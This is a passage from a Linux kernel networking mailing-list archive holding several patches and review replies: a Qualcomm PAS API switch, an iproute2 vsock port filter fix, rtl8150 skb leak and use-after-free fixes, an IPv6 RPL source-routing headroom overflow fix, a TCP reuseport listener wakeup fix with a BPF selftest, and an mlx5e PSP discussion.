> - ret = qcom_scm_pas_auth_and_reset(core->iris_platform_data->pas_id);
> + ret = qcom_pas_auth_and_reset(core->iris_platform_data->pas_id);
> if (ret) {
> dev_err(core->dev, "auth and reset failed: %d\n", ret);
> return ret;
> @@ -93,7 +94,7 @@ int iris_fw_load(struct iris_core *core)
> cp_config->cp_nonpixel_size);
> if (ret) {
> dev_err(core->dev, "qcom_scm_mem_protect_video_var failed: %d\n", ret);
> - qcom_scm_pas_shutdown(core->iris_platform_data->pas_id);
> + qcom_pas_shutdown(core->iris_platform_data->pas_id);
> return ret;
> }
> }
> @@ -103,10 +104,10 @@ int iris_fw_load(struct iris_core *core)
>
> int iris_fw_unload(struct iris_core *core)
> {
> - return qcom_scm_pas_shutdown(core->iris_platform_data->pas_id);
> + return qcom_pas_shutdown(core->iris_platform_data->pas_id);
> }
>
> int iris_set_hw_state(struct iris_core *core, bool resume)
> {
> - return qcom_scm_set_remote_state(resume, 0);
> + return qcom_pas_set_remote_state(resume, core->iris_platform_data->pas_id);
> }
> diff --git a/drivers/media/platform/qcom/venus/Kconfig b/drivers/media/platform/qcom/venus/Kconfig
> index ffb731ecd48c..574172724e8f 100644
> --- a/drivers/media/platform/qcom/venus/Kconfig
> +++ b/drivers/media/platform/qcom/venus/Kconfig
> @@ -6,6 +6,7 @@ config VIDEO_QCOM_VENUS
> select OF_DYNAMIC if ARCH_QCOM
> select QCOM_MDT_LOADER if ARCH_QCOM
> select QCOM_SCM
> + select QCOM_PAS
> select VIDEOBUF2_DMA_CONTIG
> select V4L2_MEM2MEM_DEV
> help
> diff --git a/drivers/media/platform/qcom/venus/firmware.c b/drivers/media/platform/qcom/venus/firmware.c
> index 1de7436713ed..3c0727ea137d 100644
> --- a/drivers/media/platform/qcom/venus/firmware.c
> +++ b/drivers/media/platform/qcom/venus/firmware.c
> @@ -12,6 +12,7 @@
> #include <linux/of_reserved_mem.h>
> #include <linux/platform_device.h>
> #include <linux/of_device.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
> #include <linux/firmware/qcom/qcom_scm.h>
> #include <linux/sizes.h>
> #include <linux/soc/qcom/mdt_loader.h>
> @@ -58,7 +59,7 @@ int venus_set_hw_state(struct venus_core *core, bool resume)
> int ret;
>
> if (core->use_tz) {
> - ret = qcom_scm_set_remote_state(resume, 0);
> + ret = qcom_pas_set_remote_state(resume, VENUS_PAS_ID);
> if (resume && ret == -EINVAL)
> ret = 0;
> return ret;
> @@ -218,7 +219,7 @@ int venus_boot(struct venus_core *core)
> int ret;
>
> if (!IS_ENABLED(CONFIG_QCOM_MDT_LOADER) ||
> - (core->use_tz && !qcom_scm_is_available()))
> + (core->use_tz && !qcom_pas_is_available()))
> return -EPROBE_DEFER;
>
> ret = of_property_read_string_index(dev->of_node, "firmware-name", 0,
> @@ -236,7 +237,7 @@ int venus_boot(struct venus_core *core)
> core->fw.mem_phys = mem_phys;
>
> if (core->use_tz)
> - ret = qcom_scm_pas_auth_and_reset(VENUS_PAS_ID);
> + ret = qcom_pas_auth_and_reset(VENUS_PAS_ID);
> else
> ret = venus_boot_no_tz(core, mem_phys, mem_size);
>
> @@ -259,7 +260,7 @@ int venus_boot(struct venus_core *core)
> res->cp_nonpixel_start,
> res->cp_nonpixel_size);
> if (ret) {
> - qcom_scm_pas_shutdown(VENUS_PAS_ID);
> + qcom_pas_shutdown(VENUS_PAS_ID);
> dev_err(dev, "set virtual address ranges fail (%d)\n",
> ret);
> return ret;
> @@ -274,7 +275,7 @@ int venus_shutdown(struct venus_core *core)
> int ret;
>
> if (core->use_tz)
> - ret = qcom_scm_pas_shutdown(VENUS_PAS_ID);
> + ret = qcom_pas_shutdown(VENUS_PAS_ID);
> else
> ret = venus_shutdown_no_tz(core);
>
> --
> 2.51.0
>
>
^ permalink raw reply
* [PATCH iproute2] ss: fix vsock port filter
From: Luigi Leonardi @ 2026-04-21 12:35 UTC (permalink / raw)
To: sgarzare, stefanha, netdev; +Cc: Luigi Leonardi
parse_hostcond() uses get_u32() to parse the vsock port into the
aafilter.port field, which is a long. On 64-bit systems, get_u32()
only writes the lower 32 bits, leaving the upper 32 bits set from
the -1 initialization. This causes the port comparison
"a->port != s->rport" in run_ssfilter() to always fail, since the
corrupted long value never matches the int rport.
Fix by using get_long() instead, consistent with how AF_PACKET and
AF_NETLINK handle the same field.
Fixes: c759116a0b2b ("ss: add AF_VSOCK support")
Signed-off-by: Luigi Leonardi <leonardi@redhat.com>
---
misc/ss.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/misc/ss.c b/misc/ss.c
index 14e9f27a..6e3321ac 100644
--- a/misc/ss.c
+++ b/misc/ss.c
@@ -2323,7 +2323,7 @@ void *parse_hostcond(char *addr, bool is_port)
port = find_port(addr, is_port);
if (port && strcmp(port, "*") &&
- get_u32((__u32 *)&a.port, port, 0))
+ get_long(&a.port, port, 0))
return NULL;
if (!is_port && addr[0] && strcmp(addr, "*")) {
---
base-commit: e0517e612199cacaf2dc4d54cbed52deec640c94
change-id: 20260421-fix_vsock-40c2ef4928aa
Best regards,
--
Luigi Leonardi <leonardi@redhat.com>
^ permalink raw reply related
* Re: [PATCH] net: usb: rtl8150: free skb on usb_submit_urb() failure in xmit
From: Andrew Lunn @ 2026-04-21 12:34 UTC (permalink / raw)
To: Morduan Zang
Cc: Petko Manolov, Andrew Lunn, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, linux-usb, netdev, linux-kernel
In-Reply-To: <678BC10BB9E39322+20260421111025.15833-1-zhangdandan@uniontech.com>
On Tue, Apr 21, 2026 at 07:10:25PM +0800, Morduan Zang wrote:
> When rtl8150_start_xmit() fails to submit the tx URB, the URB is never
> handed to the USB core and write_bulk_callback() will not run. The
> driver returns NETDEV_TX_OK, which tells the networking stack that the
> skb has been consumed, but nothing actually frees the skb on this
> error path:
>
> dev->tx_skb = skb;
> ...
> if ((res = usb_submit_urb(dev->tx_urb, GFP_ATOMIC))) {
> ...
> /* no kfree_skb here */
> }
> return NETDEV_TX_OK;
>
> This leaks the skb on every submit failure and also leaves dev->tx_skb
> pointing at memory that the driver itself may later free, which is
> fragile.
>
> Free the skb with dev_kfree_skb_any() in the error path and clear
> dev->tx_skb so no stale pointer is left behind.
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Morduan Zang <zhangdandan@uniontech.com>
Reviewed-by: Andrew Lunn <andrew@lunn.ch>
Andrew
^ permalink raw reply
* [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
From: Greg Kroah-Hartman @ 2026-04-21 12:32 UTC (permalink / raw)
To: netdev
Cc: linux-kernel, Greg Kroah-Hartman, David S. Miller, David Ahern,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, stable
ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
header and pushes the new one plus the IPv6 header back. The
recompressed header can be larger than the received one when the swap
reduces the common-prefix length the segments share with daddr (CmprI=0,
CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
pskb_expand_head() was gated on segments_left == 0, so on earlier
segments the push consumed unchecked headroom. Once skb_push() leaves
fewer than skb->mac_len bytes in front of data,
skb_mac_header_rebuild()'s call to:
skb_set_mac_header(skb, -skb->mac_len);
will store (data - head) - mac_len into the u16 mac_header field, which
wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
past skb->head.
A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
Fix this by expanding the head whenever the remaining room is less than
the push size plus mac_len, and request that much extra so the rebuilt
MAC header fits afterwards.
Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
Cc: "David S. Miller" <davem@davemloft.net>
Cc: David Ahern <dsahern@kernel.org>
Cc: Eric Dumazet <edumazet@google.com>
Cc: Jakub Kicinski <kuba@kernel.org>
Cc: Paolo Abeni <pabeni@redhat.com>
Cc: Simon Horman <horms@kernel.org>
Cc: stable <stable@kernel.org>
Reported-by: Anthropic
Assisted-by: gkh_clanker_t1000
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
v2: - fixed up if statement to actually work properly, and test it against
a working poc (poc will be sent separately)
Reworded the changelog and the subject to make more sense
Link to v1: https://lore.kernel.org/r/2026042024-cabbie-gills-9371@gregkh
net/ipv6/exthdrs.c | 13 +++++++------
1 file changed, 7 insertions(+), 6 deletions(-)
diff --git a/net/ipv6/exthdrs.c b/net/ipv6/exthdrs.c
index 95558fd6f447..b86a638d51e4 100644
--- a/net/ipv6/exthdrs.c
+++ b/net/ipv6/exthdrs.c
@@ -491,6 +491,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
struct net *net = dev_net(skb->dev);
struct inet6_dev *idev;
struct ipv6hdr *oldhdr;
+ unsigned int chdr_len;
unsigned char *buf;
int accept_rpl_seg;
int i, err;
@@ -590,11 +591,11 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
oldhdr = ipv6_hdr(skb);
skb_pull(skb, ((hdr->hdrlen + 1) << 3));
- skb_postpull_rcsum(skb, oldhdr,
- sizeof(struct ipv6hdr) + ((hdr->hdrlen + 1) << 3));
- if (unlikely(!hdr->segments_left)) {
- if (pskb_expand_head(skb, sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3), 0,
- GFP_ATOMIC)) {
+ chdr_len = sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3);
+ skb_postpull_rcsum(skb, oldhdr, chdr_len);
+ if (unlikely(!hdr->segments_left ||
+ skb_headroom(skb) < chdr_len + skb->mac_len)) {
+ if (pskb_expand_head(skb, chdr_len + skb->mac_len, 0, GFP_ATOMIC)) {
__IP6_INC_STATS(net, ip6_dst_idev(skb_dst(skb)), IPSTATS_MIB_OUTDISCARDS);
kfree_skb(skb);
kfree(buf);
@@ -603,7 +604,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
oldhdr = ipv6_hdr(skb);
}
- skb_push(skb, ((chdr->hdrlen + 1) << 3) + sizeof(struct ipv6hdr));
+ skb_push(skb, chdr_len);
skb_reset_network_header(skb);
skb_mac_header_rebuild(skb);
skb_set_transport_header(skb, sizeof(struct ipv6hdr));
--
2.53.0
^ permalink raw reply related
* Re: [PATCH] net: usb: rtl8150: fix use-after-free in rtl8150_start_xmit()
From: Andrew Lunn @ 2026-04-21 12:32 UTC (permalink / raw)
To: Morduan Zang
Cc: petkan, davem, edumazet, kuba, pabeni, andrew+netdev, linux-usb,
netdev, linux-kernel, syzkaller-bugs, Zhan Jun,
syzbot+3f46c095ac0ca048cb71
In-Reply-To: <73ACB7391A6DE033+20260421110412.14795-1-zhangdandan@uniontech.com>
On Tue, Apr 21, 2026 at 07:04:12PM +0800, Morduan Zang wrote:
> From: Zhan Jun <zhanjun@uniontech.com>
>
> syzbot reported a KASAN slab-use-after-free read in rtl8150_start_xmit()
> when accessing skb->len for tx statistics after usb_submit_urb() has
> been called:
>
> BUG: KASAN: slab-use-after-free in rtl8150_start_xmit+0x71f/0x760
> drivers/net/usb/rtl8150.c:712
> Read of size 4 at addr ffff88810eb7a930 by task kworker/0:4/5226
>
> The URB completion handler write_bulk_callback() frees the skb via
> dev_kfree_skb_irq(dev->tx_skb). The URB may complete on another CPU
> in softirq context before usb_submit_urb() returns in the submitter,
> so by the time the submitter reads skb->len the skb has already been
> queued to the per-CPU completion_queue and freed by net_tx_action():
>
> CPU A (xmit) CPU B (USB completion softirq)
> ------------ ------------------------------
> dev->tx_skb = skb;
> usb_submit_urb() --+
> |-------> write_bulk_callback()
> | dev_kfree_skb_irq(dev->tx_skb)
> | net_tx_action()
> | napi_skb_cache_put() <-- free
> netdev->stats.tx_bytes |
> += skb->len; <-- UAF read
>
> Fix it by caching skb->len before submitting the URB and using the
> cached value when updating the tx_bytes counter. This mirrors the
> fix pattern used by other USB network drivers.
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Reported-by: syzbot+3f46c095ac0ca048cb71@syzkaller.appspotmail.com
> Closes: https://lore.kernel.org/all/69e69ee7.050a0220.24bfd3.002b.GAE@google.com/
> Closes: https://syzkaller.appspot.com/bug?extid=3f46c095ac0ca048cb71
> Signed-off-by: Zhan Jun <zhanjun@uniontech.com>
Reviewed-by: Andrew Lunn <andrew@lunn.ch>
For future patches, please could you set the subject line correctly. See
https://www.kernel.org/doc/html/latest/process/maintainer-netdev.html
Andrew
^ permalink raw reply
* Re: [PATCH v3 10/15] drm/msm: Switch to generic PAS TZ APIs
From: Sumit Garg @ 2026-04-21 12:32 UTC (permalink / raw)
To: lumag, robin.clark
Cc: linux-arm-msm, devicetree, dri-devel, freedreno, linux-media,
netdev, linux-wireless, ath12k, linux-remoteproc, andersson,
konradybcio, robh, krzk+dt, conor+dt, robin.clark, sean, akhilpo,
lumag, abhinav.kumar, jesszhan0024, marijn.suijten, airlied,
simona, vikash.garodia, dikshita.agarwal, bod, mchehab, elder,
andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
harshal.dev, linux-kernel, Sumit Garg
In-Reply-To: <20260327131043.627120-11-sumit.garg@kernel.org>
Hey Rob, Dmitry,
On Fri, Mar 27, 2026 at 06:40:38PM +0530, Sumit Garg wrote:
> From: Sumit Garg <sumit.garg@oss.qualcomm.com>
>
> Switch drm/msm client drivers over to generic PAS TZ APIs. Generic PAS
> TZ service allows to support multiple TZ implementation backends like QTEE
> based SCM PAS service, OP-TEE based PAS service and any further future TZ
> backend service.
>
> Signed-off-by: Sumit Garg <sumit.garg@oss.qualcomm.com>
> ---
> drivers/gpu/drm/msm/Kconfig | 1 +
> drivers/gpu/drm/msm/adreno/a5xx_gpu.c | 4 ++--
> drivers/gpu/drm/msm/adreno/adreno_gpu.c | 11 ++++++-----
> 3 files changed, 9 insertions(+), 7 deletions(-)
>
Can I get an ack from you on this change? I expect this complete
patch-set to land via Qcom SoC tree.
-Sumit
> diff --git a/drivers/gpu/drm/msm/Kconfig b/drivers/gpu/drm/msm/Kconfig
> index 250246f81ea9..09469d56513b 100644
> --- a/drivers/gpu/drm/msm/Kconfig
> +++ b/drivers/gpu/drm/msm/Kconfig
> @@ -21,6 +21,7 @@ config DRM_MSM
> select SHMEM
> select TMPFS
> select QCOM_SCM
> + select QCOM_PAS
> select QCOM_UBWC_CONFIG
> select WANT_DEV_COREDUMP
> select SND_SOC_HDMI_CODEC if SND_SOC
> diff --git a/drivers/gpu/drm/msm/adreno/a5xx_gpu.c b/drivers/gpu/drm/msm/adreno/a5xx_gpu.c
> index ef9fd6171af7..3283852f9a14 100644
> --- a/drivers/gpu/drm/msm/adreno/a5xx_gpu.c
> +++ b/drivers/gpu/drm/msm/adreno/a5xx_gpu.c
> @@ -5,7 +5,7 @@
> #include <linux/kernel.h>
> #include <linux/types.h>
> #include <linux/cpumask.h>
> -#include <linux/firmware/qcom/qcom_scm.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
> #include <linux/pm_opp.h>
> #include <linux/nvmem-consumer.h>
> #include <linux/slab.h>
> @@ -653,7 +653,7 @@ static int a5xx_zap_shader_resume(struct msm_gpu *gpu)
> if (adreno_is_a506(adreno_gpu))
> return 0;
>
> - ret = qcom_scm_set_remote_state(SCM_GPU_ZAP_SHADER_RESUME, GPU_PAS_ID);
> + ret = qcom_pas_set_remote_state(SCM_GPU_ZAP_SHADER_RESUME, GPU_PAS_ID);
> if (ret)
> DRM_ERROR("%s: zap-shader resume failed: %d\n",
> gpu->name, ret);
> diff --git a/drivers/gpu/drm/msm/adreno/adreno_gpu.c b/drivers/gpu/drm/msm/adreno/adreno_gpu.c
> index d5fe6f6f0dec..047df0393128 100644
> --- a/drivers/gpu/drm/msm/adreno/adreno_gpu.c
> +++ b/drivers/gpu/drm/msm/adreno/adreno_gpu.c
> @@ -8,6 +8,7 @@
>
> #include <linux/ascii85.h>
> #include <linux/interconnect.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
> #include <linux/firmware/qcom/qcom_scm.h>
> #include <linux/kernel.h>
> #include <linux/of_reserved_mem.h>
> @@ -146,10 +147,10 @@ static int zap_shader_load_mdt(struct msm_gpu *gpu, const char *fwname,
> goto out;
>
> /* Send the image to the secure world */
> - ret = qcom_scm_pas_auth_and_reset(pasid);
> + ret = qcom_pas_auth_and_reset(pasid);
>
> /*
> - * If the scm call returns -EOPNOTSUPP we assume that this target
> + * If the pas call returns -EOPNOTSUPP we assume that this target
> * doesn't need/support the zap shader so quietly fail
> */
> if (ret == -EOPNOTSUPP)
> @@ -175,9 +176,9 @@ int adreno_zap_shader_load(struct msm_gpu *gpu, u32 pasid)
> if (!zap_available)
> return -ENODEV;
>
> - /* We need SCM to be able to load the firmware */
> - if (!qcom_scm_is_available()) {
> - DRM_DEV_ERROR(&pdev->dev, "SCM is not available\n");
> + /* We need PAS to be able to load the firmware */
> + if (!qcom_pas_is_available()) {
> + DRM_DEV_ERROR(&pdev->dev, "Qcom PAS is not available\n");
> return -EPROBE_DEFER;
> }
>
> --
> 2.51.0
>
>
^ permalink raw reply
* [PATCH net v3 2/2] selftests/bpf: check epoll readiness during reuseport migration
From: Zhenzhong Wu @ 2026-04-21 12:31 UTC (permalink / raw)
To: netdev
Cc: edumazet, ncardwell, kuniyu, davem, dsahern, kuba, pabeni, horms,
shuah, tamird, linux-kernel, linux-kselftest, Zhenzhong Wu
In-Reply-To: <20260421123106.142299-1-jt26wzz@gmail.com>
Inside migrate_dance(), add epoll checks around shutdown() to
verify that the target listener is not ready before shutdown()
and becomes ready immediately after shutdown() triggers migration.
Cover TCP_ESTABLISHED and TCP_SYN_RECV. Exclude TCP_NEW_SYN_RECV
as it depends on later handshake completion.
Suggested-by: Kuniyuki Iwashima <kuniyu@google.com>
Signed-off-by: Zhenzhong Wu <jt26wzz@gmail.com>
---
.../bpf/prog_tests/migrate_reuseport.c | 46 ++++++++++++++++---
1 file changed, 40 insertions(+), 6 deletions(-)
diff --git a/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c b/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c
index 653b0a20f..6180a79a7 100644
--- a/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c
+++ b/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c
@@ -7,24 +7,29 @@
* 3. call listen() for 1 server socket. (migration target)
* 4. update a map to migrate all child sockets
* to the last server socket (migrate_map[cookie] = 4)
- * 5. call shutdown() for first 4 server sockets
+ * 5. for TCP_ESTABLISHED and TCP_SYN_RECV cases, verify via epoll
+ * that the last server socket is not ready before migration.
+ * 6. call shutdown() for first 4 server sockets
* and migrate the requests in the accept queue
* to the last server socket.
- * 6. call listen() for the second server socket.
- * 7. call shutdown() for the last server
+ * 7. for TCP_ESTABLISHED and TCP_SYN_RECV cases, verify via epoll
+ * that the last server socket is ready after migration.
+ * 8. call listen() for the second server socket.
+ * 9. call shutdown() for the last server
* and migrate the requests in the accept queue
* to the second server socket.
- * 8. call listen() for the last server.
- * 9. call shutdown() for the second server
+ * 10. call listen() for the last server.
+ * 11. call shutdown() for the second server
* and migrate the requests in the accept queue
* to the last server socket.
- * 10. call accept() for the last server socket.
+ * 12. call accept() for the last server socket.
*
* Author: Kuniyuki Iwashima <kuniyu@amazon.co.jp>
*/
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
+#include <sys/epoll.h>
#include "test_progs.h"
#include "test_migrate_reuseport.skel.h"
@@ -350,8 +355,28 @@ static int update_maps(struct migrate_reuseport_test_case *test_case,
static int migrate_dance(struct migrate_reuseport_test_case *test_case)
{
+ struct epoll_event ev = {
+ .events = EPOLLIN,
+ };
+ int epoll = -1, nfds;
int i, err;
+ if (test_case->state != BPF_TCP_NEW_SYN_RECV) {
+ epoll = epoll_create1(0);
+ if (!ASSERT_NEQ(epoll, -1, "epoll_create1"))
+ return -1;
+
+ ev.data.fd = test_case->servers[MIGRATED_TO];
+ if (!ASSERT_OK(epoll_ctl(epoll, EPOLL_CTL_ADD,
+ test_case->servers[MIGRATED_TO], &ev),
+ "epoll_ctl"))
+ goto close_epoll;
+
+ nfds = epoll_wait(epoll, &ev, 1, 0);
+ if (!ASSERT_EQ(nfds, 0, "epoll_wait 1"))
+ goto close_epoll;
+ }
+
/* Migrate TCP_ESTABLISHED and TCP_SYN_RECV requests
* to the last listener based on eBPF.
*/
@@ -365,6 +390,15 @@ static int migrate_dance(struct migrate_reuseport_test_case *test_case)
if (test_case->state == BPF_TCP_NEW_SYN_RECV)
return 0;
+ nfds = epoll_wait(epoll, &ev, 1, 0);
+ if (!ASSERT_EQ(nfds, 1, "epoll_wait 2")) {
+close_epoll:
+ close(epoll);
+ return -1;
+ }
+
+ close(epoll);
+
/* Note that we use the second listener instead of the
* first one here.
*
--
2.43.0
^ permalink raw reply related
* [PATCH net v3 1/2] tcp: call sk_data_ready() after listener migration
From: Zhenzhong Wu @ 2026-04-21 12:31 UTC (permalink / raw)
To: netdev
Cc: edumazet, ncardwell, kuniyu, davem, dsahern, kuba, pabeni, horms,
shuah, tamird, linux-kernel, linux-kselftest, Zhenzhong Wu,
stable
In-Reply-To: <20260421123106.142299-1-jt26wzz@gmail.com>
When inet_csk_listen_stop() migrates an established child socket from
a closing listener to another socket in the same SO_REUSEPORT group,
the target listener gets a new accept-queue entry via
inet_csk_reqsk_queue_add(), but that path never notifies the target
listener's waiters. A nonblocking accept() still works because it
checks the queue directly, but poll()/epoll_wait() waiters and
blocking accept() callers can also remain asleep indefinitely.
Call READ_ONCE(nsk->sk_data_ready)(nsk) after a successful migration
in inet_csk_listen_stop().
However, after inet_csk_reqsk_queue_add() succeeds, the ref acquired
in reuseport_migrate_sock() is effectively transferred to
nreq->rsk_listener. Another CPU can then dequeue nreq via accept()
or listener shutdown, hit reqsk_put(), and drop that listener ref.
Since listeners are SOCK_RCU_FREE, wrap the post-queue_add()
dereferences of nsk in rcu_read_lock()/rcu_read_unlock(), which also
covers the existing sock_net(nsk) access in that path.
The reqsk_timer_handler() path does not need the same changes for two
reasons: half-open requests become readable only after the final ACK,
where tcp_child_process() already wakes the listener; and once nreq is
visible via inet_ehash_insert(), the success path no longer touches
nsk directly.
Fixes: 54b92e841937 ("tcp: Migrate TCP_ESTABLISHED/TCP_SYN_RECV sockets in accept queues.")
Cc: stable@vger.kernel.org
Suggested-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Zhenzhong Wu <jt26wzz@gmail.com>
---
net/ipv4/inet_connection_sock.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
index 4ac3ae1bc..928654c34 100644
--- a/net/ipv4/inet_connection_sock.c
+++ b/net/ipv4/inet_connection_sock.c
@@ -1479,16 +1479,19 @@ void inet_csk_listen_stop(struct sock *sk)
if (nreq) {
refcount_set(&nreq->rsk_refcnt, 1);
+ rcu_read_lock();
if (inet_csk_reqsk_queue_add(nsk, nreq, child)) {
__NET_INC_STATS(sock_net(nsk),
LINUX_MIB_TCPMIGRATEREQSUCCESS);
reqsk_migrate_reset(req);
+ READ_ONCE(nsk->sk_data_ready)(nsk);
} else {
__NET_INC_STATS(sock_net(nsk),
LINUX_MIB_TCPMIGRATEREQFAILURE);
reqsk_migrate_reset(nreq);
__reqsk_free(nreq);
}
+ rcu_read_unlock();
/* inet_csk_reqsk_queue_add() has already
* called inet_child_forget() on failure case.
--
2.43.0
^ permalink raw reply related
* [PATCH net v3 0/2] tcp: fix listener wakeup after reuseport migration
From: Zhenzhong Wu @ 2026-04-21 12:31 UTC (permalink / raw)
To: netdev
Cc: edumazet, ncardwell, kuniyu, davem, dsahern, kuba, pabeni, horms,
shuah, tamird, linux-kernel, linux-kselftest, Zhenzhong Wu
This series fixes a missing wakeup when inet_csk_listen_stop() migrates
an established child socket from a closing listener to another socket
in the same SO_REUSEPORT group after the child has already been queued
for accept.
The target listener receives the migrated accept-queue entry via
inet_csk_reqsk_queue_add(), but its waiters are not notified.
Nonblocking accept() still succeeds because it checks the accept queue
directly, but readiness-based waiters can remain asleep until another
connection generates a wakeup.
Patch 1 notifies the target listener after a successful migration in
inet_csk_listen_stop() and protects the post-queue_add() nsk accesses
with rcu_read_lock()/rcu_read_unlock().
Patch 2 extends the existing migrate_reuseport BPF selftest with epoll
readiness checks inside migrate_dance(), around shutdown() where the
migration happens. The test now verifies that the target listener is
not ready before migration and becomes ready immediately after it, for
both TCP_ESTABLISHED and TCP_SYN_RECV. TCP_NEW_SYN_RECV remains
excluded because it still depends on later handshake completion.
Testing:
- On a local unpatched kernel, the focused migrate_reuseport test
fails for the listener-migration cases and passes for the
TCP_NEW_SYN_RECV cases:
not ok 1 IPv4 TCP_ESTABLISHED inet_csk_listen_stop
not ok 2 IPv4 TCP_SYN_RECV inet_csk_listen_stop
ok 3 IPv4 TCP_NEW_SYN_RECV reqsk_timer_handler
ok 4 IPv4 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
not ok 5 IPv6 TCP_ESTABLISHED inet_csk_listen_stop
not ok 6 IPv6 TCP_SYN_RECV inet_csk_listen_stop
ok 7 IPv6 TCP_NEW_SYN_RECV reqsk_timer_handler
ok 8 IPv6 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
- On a patched kernel booted under QEMU, the full migrate_reuseport
selftest passes:
ok 1 IPv4 TCP_ESTABLISHED inet_csk_listen_stop
ok 2 IPv4 TCP_SYN_RECV inet_csk_listen_stop
ok 3 IPv4 TCP_NEW_SYN_RECV reqsk_timer_handler
ok 4 IPv4 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
ok 5 IPv6 TCP_ESTABLISHED inet_csk_listen_stop
ok 6 IPv6 TCP_SYN_RECV inet_csk_listen_stop
ok 7 IPv6 TCP_NEW_SYN_RECV reqsk_timer_handler
ok 8 IPv6 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
SELFTEST_RC=0
---
v3:
- update the selftest patch as suggested by Kuniyuki Iwashima
- update the test flow comment to match the new epoll checks
- initialize epoll to -1 to avoid a compiler warning in the selftest
v2:
https://lore.kernel.org/netdev/20260418181333.1713389-1-jt26wzz@gmail.com/
v1:
https://lore.kernel.org/netdev/20260418041633.691435-1-jt26wzz@gmail.com/
Zhenzhong Wu (2):
tcp: call sk_data_ready() after listener migration
selftests/bpf: check epoll readiness during reuseport migration
net/ipv4/inet_connection_sock.c | 3 ++
.../bpf/prog_tests/migrate_reuseport.c | 46 ++++++++++++++++---
2 files changed, 43 insertions(+), 6 deletions(-)
base-commit: 52bcb57a4e8a0865a76c587c2451906342ae1b2d
--
2.43.0
^ permalink raw reply
* Re: [PATCH net 1/2] net/mlx5e: psp: Fix invalid access on PSP dev registration fail
From: Cosmin Ratiu @ 2026-04-21 12:29 UTC (permalink / raw)
To: kuba@kernel.org
Cc: Boris Pismenny, willemdebruijn.kernel@gmail.com,
andrew+netdev@lunn.ch, daniel.zahka@gmail.com,
davem@davemloft.net, leon@kernel.org, Rahul Rameshbabu,
linux-kernel@vger.kernel.org, linux-rdma@vger.kernel.org,
pabeni@redhat.com, Raed Salem, Dragos Tatulea, kees@kernel.org,
Mark Bloch, edumazet@google.com, Tariq Toukan, Saeed Mahameed,
netdev@vger.kernel.org, Gal Pressman
In-Reply-To: <20260420100917.1e4be22a@kernel.org>
On Mon, 2026-04-20 at 10:09 -0700, Jakub Kicinski wrote:
> On Mon, 20 Apr 2026 10:30:46 +0000 Cosmin Ratiu wrote:
> > > When psp_dev_create() fails, this function now returns without
> > > setting
> > > psp->psp, leaving it as NULL. However, priv->psp remains
> > > allocated
> > > and
> > > non-NULL.
> > >
> > > Does this leave the RX datapath vulnerable to a NULL pointer
> > > dereference?
> > >
> > > If priv->psp is non-NULL, the NIC RX initialization path can
> > > still
> > > call
> > > mlx5_accel_psp_fs_init_rx_tables(), which creates hardware flow
> > > steering
> > > rules to intercept UDP traffic.
> > >
> > > If a UDP packet triggers these rules, the hardware flags the CQE
> > > with
> > > MLX5E_PSP_MARKER_BIT. The RX fast-path sees the marker and
> > > invokes
> > > mlx5e_psp_offload_handle_rx_skb(), which dereferences the pointer
> > > unconditionally:
> > >
> > > u16 dev_id = priv->psp->psp->id;
> > >
> > > Since priv->psp->psp is NULL, this will cause a kernel panic.
> > > Should
> > > priv->psp be cleaned up, or the error propagated, to prevent flow
> > > rules
> > > from being installed when registration fails?
> >
> > First, this is preexisting. But more importantly, it's impossible
> > to
> > trigger:
> > - with no PSP devs, there can be no PSP SAs installed.
> > - with no SAs, PSP decryption cannot succeed.
> > - all unsuccessfully decrypted PSP packets are dropped by steering.
> > - the RX handler will not see any PSP packets with the marker set.
> >
> > This patch fixes the comparatively way more likely scenario of
> > psp_dev_register failing and then mlx5e_psp_unregister passing the
> > error pointer to psp_dev_unregister, which will do unpleasant
> > things
> > with it.
>
> Sure but why are you leaving the priv->psp struct in place and
> whatever
> FS init has been done? IOW if you really want PSP init to not block
> probe why is mlx5e_psp_register() a void function rather than
> mlx5e_psp_init() ? Ignoring errors from psp_dev_create()
> makes no sense to me - what are you protecting from?
> kmalloc(GFP_KERNEL)
> failing?
priv->psp and steering at the time of mlx5e_psp_register() is inert
without the PSP device. Cleaning it on psp_dev_create() failure would
be weird, it's cleaned up anyway on netdev teardown. The fact that only
